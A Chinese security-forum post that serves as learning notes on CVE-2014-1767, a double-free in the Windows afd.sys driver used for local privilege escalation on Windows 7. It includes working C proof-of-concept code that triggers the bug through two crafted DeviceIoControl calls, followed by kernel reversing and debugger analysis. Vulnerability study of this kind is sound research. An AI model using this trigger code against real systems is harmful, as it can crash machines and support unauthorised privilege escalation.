首页
社区
课程
招聘
[原创]CVE-2014-1767提权漏洞学习笔记
发表于: 2022-7-30 17:19 15376

[原创]CVE-2014-1767提权漏洞学习笔记

2022-7-30 17:19
15376

一.前言

1.漏洞描述

afd.sys驱动用于支持Win Socket应用程序。由于afd!AfdReturnTpInfo函数调用IoFreeMdl函数释放MDL内存的时候,没有及时将指针清空,导致再次调用的时候会再次释放相同的内存地址,导致双重释放的错误。通过WorkerFatory对象占有释放的内存,利用相关的函数可以实现一次任意地址写入,实现修改关键函数来实现提权。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg

二.漏洞分析

1.POC代码分析

以下是该漏洞的POC代码:

void POC_CVE_2014_1767()
{
	WSADATA WSAData;
	SOCKET s;
	SOCKADDR_IN sa;
	int ierr;

	// 初始化通信的设备句柄
	WSAStartup(0x2, &WSAData);
	s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	memset(&sa, 0, sizeof(sa));
	sa.sin_port = htons(135);
	sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	sa.sin_family = AF_INET;
	ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));

	char outBuf[100];
	DWORD bytesRet;
	
	DWORD targetSize = 0x310;
	DWORD virtualAddress = 0x13371337;
	DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF - (virtualAddress & 0xFFF);
	DWORD inbuf1[100];

	memset(inbuf1, 0, sizeof(inbuf1));
	inbuf1[6] = virtualAddress;
	inbuf1[7] = mdlSize;
	inbuf1[10] = 1;

	// 第一次通信
	DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, outBuf, 0, &bytesRet, NULL);

	DWORD inbuf2[100];
	memset(inbuf2, 0, sizeof(inbuf2));
	inbuf2[0] = 1;
	inbuf2[1] = 0x0AAAAAAA;
	// 第二次通信
	DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
}

触发漏洞的关键就是两次调用DeviceIoControl函数来实现用户层和内核层的I/O通信,函数定义如下,其中第二个参数为控制码,第三个参数为传入内核从的输入数据,这两个参数也是触发此次漏洞的关键。

BOOL WINAPI DeviceIoControl(HANDLE hDevice,
                            DWORD dwIoControlCode,
                            LPVOID lpInBuffer,
                            DWORD nInBufferSize,
                            LPVOID lpOutBuffer,
                            DWORD nOutBufferSize,
                            LPDWORD lpBytesReturned,
                            LPOVERLAPPED lpOverlapped);

2.静态调试

对于每一个驱动,在内核中都会有一个对应的DRIVER_OBJECT对象,该结构体定义如下:

#define IRP_MJ_MAXIMUM_FUNCTION         0x1b

typedef struct _DRIVER_OBJECT {
    CSHORT Type;
    CSHORT Size;
    PDEVICE_OBJECT DeviceObject;
    ULONG Flags;
    PVOID DriverStart;
    ULONG DriverSize;
    PVOID DriverSection;
    PDRIVER_EXTENSION DriverExtension;
    UNICODE_STRING DriverName;
    PUNICODE_STRING HardwareDatabase;
    PFAST_IO_DISPATCH FastIoDispatch;
    PDRIVER_INITIALIZE DriverInit;
    PDRIVER_STARTIO DriverStartIo;
    PDRIVER_UNLOAD DriverUnload;
    PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT;
typedef struct _DRIVER_OBJECT *PDRIVER_OBJECT;

其中最后一个成员MajorFunction数组保存了不同的派遣函数用于处理用户层的通信要求,其中与调用DeviceIoControl进行通信对应的派遣函数保存于MajorFunction数组的0xE下标中。

#define IRP_MJ_DEVICE_CONTROL           0x0e

从afd.sys的DriverEntry函数中可以看到驱动创建了"\\Device\\Afd"设备对象:

将MajorFunction数组下标0xE的派遣函数赋值为AfdDispatchDeviceControl函数,所以POC调用DeviceIoControl进行和内核进行通信的时候,就会调用该函数。

用户层和内核层之间的信息传递通过IRP结构体实现,该结构体定义如下:

kd> dt _IRP
nt!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 MdlAddress       : Ptr32 _MDL
   +0x008 Flags            : Uint4B
   +0x00c AssociatedIrp    : 
   +0x010 ThreadListEntry  : _LIST_ENTRY
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : Char
   +0x021 PendingReturned  : UChar
   +0x022 StackCount       : Char
   +0x023 CurrentLocation  : Char
   +0x024 Cancel           : UChar
   +0x025 CancelIrql       : UChar
   +0x026 ApcEnvironment   : Char
   +0x027 AllocationFlags  : UChar
   +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK
   +0x02c UserEvent        : Ptr32 _KEVENT
   +0x030 Overlay          : 
   +0x038 CancelRoutine    : Ptr32     void 
   +0x03c UserBuffer       : Ptr32 Void
   +0x040 Tail             : 
      +0x000 Overlay          : 
         +0x000 DriverContext    : [4] Ptr32 Void
         +0x010 Thread           : Ptr32 _ETHREAD
         +0x014 AuxiliaryBuffer  : Ptr32 Char
         +0x018 ListEntry        : _LIST_ENTRY
         +0x020 CurrentStackLocation : Ptr32 _IO_STACK_LOCATION
         +0x020 PacketType       : Uint4B
         +0x024 OriginalFileObject : Ptr32 _FILE_OBJECT

偏移0x60指向_IO_STACK_LOCATION结构体,该结构体定义如下:

kd> dt _IO_STACK_LOCATION -r
nt!_IO_STACK_LOCATION
   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x004 Parameters       : 
      +0x000 DeviceIoControl  : 
         +0x000 OutputBufferLength : Uint4B
         +0x004 InputBufferLength : Uint4B
         +0x008 IoControlCode    : Uint4B
         +0x00c Type3InputBuffer : Ptr32 Void
   +0x014 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x018 FileObject       : Ptr32 _FILE_OBJECT
   +0x01c CompletionRoutine : Ptr32     long 
   +0x020 Context          : Ptr32 Void

其中偏移0x8的InputBufferLength为调用DeviceIoControl函数时指定的输入数据的长度,偏移0xC为指定的dwIoControlCode,偏移0x10保存的是输入数据的指针。AfdDispatchDeviceIoControl函数的实现如下,可以很容易看出,该函数通过IoControlCode来计算一个下标,从AfdIoctlTable中取出该下标对应的数值来和IoControlCode进行验证,通过验证后,从AfdIrpCallDispatch数值中取出要执行的函数,在调用取出的函数。

AfdIoctlTable保存了不同的IoControlCode,其中可以发现POC中使用的两个控制码:

AfdIrpCallDispatch中保存了不同的执行函数,根据POC使用的控制码对应在AfdIoctlTable中的下标可以知道两次通信会分别调用AfdTransmitFile和AfdTransmitPackets函数:

这两个函数的定义如下:

NTSTATUS __fastcall AfdTransmitFile(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)
NTSTATUS __fastcall AfdTransmitPackets(PIRP pIrp, _IO_STACK_LOCATION *pIoStackLocation)

根据定义可以知道,这两个函数的调用约定是__fastcall,且都有两个参数,所以上面IDA反编译的结果在调用函数部分是有错误的,这里可以直接通过看汇编代码来看相应的参数传递,这里需要记一下,IoControlCode保存在edi中,要调用的函数保存在esi中,这个后面动态调试要用。


要触发漏洞,AfdTransmitFile需要绕过三处验证,第一处和调用DeviceIoControl时第一个参数,即要通信的设备有关,当它为Socket套接字就可以绕过,第二处和第三处就是和输入数据和输入长度有关:

通过验证以后就会调用AfdTliGetIpInfo来申请tpInfo:

tpInfo通过ExAllocateFromNPagedLookasideList来申请内存,其中偏移0x20处保存了通过ExAllocatePoolWithQuotaTag申请的tpInfoElement类型的数组,这里可以看出每个成员大小为0x18,参数指定了数组元素个数,这里为3:

ExAllocateFromNPagedLookasideList的实现如下,可以看出是通过链表的方式实现,所以申请的tpInfo很有可能是上一次释放时候所指的内存:

AfdTransmitFile申请完tpInfo内存之后,会从输入数据中取出地址和长度,然后调用IoAllocateMdl申请MDL内存,保存在tpInfoElement偏移0xC处,之后会调用函数MmProbeAndLockPages:

在POC中,由输入数据指定的地址和长度是不合法的,这就会导致MnProbeAndLockPages调用出现错误,从而导致AfdReturnTpInfo函数的调用:


AfdReturnTpInfo函数会调用IoFreeMdl来释放保存在tpInfoElement偏移0xC处的MDL内存。然而这里释放之后没有及时清空指针,而tpInfo在释放之后会挂回原来的链表中,此时如果可以再次申请tpInfo就会申请到同一块内存,其中保存的数据是原来的数据,如果有办法再次申请tpInfo,且对其进行初始化之前就再次进入AfdReturnTpInfo就可以释放相同的MDL内存造成双重释放:

POC是通过AfdTransmitPackets来造成第二次释放,函数前面的部分和之前差不多,也是进行几个验证:


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-8-6 10:39 被1900编辑 ,原因:
收藏
免费 3
支持
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/09/27 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回